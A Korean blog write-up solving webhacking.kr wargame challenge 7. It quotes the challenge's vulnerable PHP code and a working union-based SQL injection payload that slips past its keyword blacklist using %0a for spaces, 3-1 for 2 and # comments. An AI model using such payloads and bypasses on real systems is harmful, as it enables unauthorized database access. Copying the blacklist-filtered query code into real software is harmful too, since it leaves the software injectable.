Security/Wargame

[Webhacking.kr] Challenge 7

rootnix 2014. 10. 7. 00:59

안녕하세요.

이번엔 webhacking.kr 7번 문제의 풀이를 작성하겠습니다.


7번 문제에 접속하시면 다음과 같은 화면이 나옵니다.




auth를 눌러보면 Access_Denied! 라고 alert가 표시됩니다.

소스보기를 보면


admin mode: val=2

라고 주석처리가 되어있습니다.


주소창을 보면

val=1 로 접속이 되어있는데,

val=2 로 바꾸어 보면

Access Denied 를 표시해줍니다.


일단 소스를 보져

index.phps 에 들어가줍니다.





<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";
$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;
$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);

echo("<title>admin page</title><font size=2 color=gray><b><h3>Admin page</h3></b><p>");

if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 

?>

<!--
index.phps
-->

위와 같은 소스를 볼 수 있습니다.
보게되면

'db에는 val=2가 존재하지 않습니다. union을 이용하세요.'
라고 표시되어있습니다.

즉 Union Based SQL Injection을 통해 val 에 해당하는 부분에 2가 들어가게 하여
풀이해야합니다.

필터링 리스트를 보면
'/' '*' 를 지워서 공백처리를 막고,
--, 2, 50, +, substring, from, infor, mation, lv, %20, =, !, <>, sysM, and, or, table, column, ' '
를 막고 있습니다.

일단 공백을 모두 막고있고
and나 or.
그리고 우리가 삽입해야하는 정수 2
주석처리에 필요한 --
등을 막고있습니다.

그리고 우리가 삽입해야하는 SQL 구문 부분을 보면

select lv from lv1 where lv=$go
인데.
재밌는건, 1~5 까지 랜덤수를 생성하여
입력값을 () 로 감싸는걸 볼 수 있습니다.

그럼 일단
select lv from lv1 where lv=($go)
구문에서 SQL Injection을 완성하고
rand 가 1이 될때까지 새로고침하는 방법으로 해보도록 하겠습니다.

 select lv from lv1 where lv=(0)%0aunion%0aselect%0a3-1%23)

라는 구문을 작성하였습니다.

일단 0을 넣어서 빈 결과를 만든 후

괄호를 닫아줍니다.

그리고 공백처리가 필터링 되긴 하지만

%0a (개행)은 막히지 않았으므로 우회할 수 있습니다.


그 상태에서 union select 를 넣고 우리가 넣어야하는 2 라는 결과가 나오게 해야하는데.

정수 2 자체는 필터링 되고, + 도 필터링 되므로 3-1 을 넣어 2가 되게 만들어줍니다.

그리고 뒤에 ) 가 남으니 주석을 해주어야 하는데.

-- 주석은 막혀있으니 또 다른 주석인 #(%23)를 넣어 주석처리 해줍니다.


그러면

Query 결과로는 2가 나오고 해당 문제는 클리어 할 수 있습니다.


위의 페이로드를 넣었는데 'nice try' 라고 표시된다면

rand 값이 1이 아닌 값이 나온 것이니

새로고침하여 계속 시도해주시다 보면

rand 값이 1이 될때 해당 문제를 해결하게됩니다.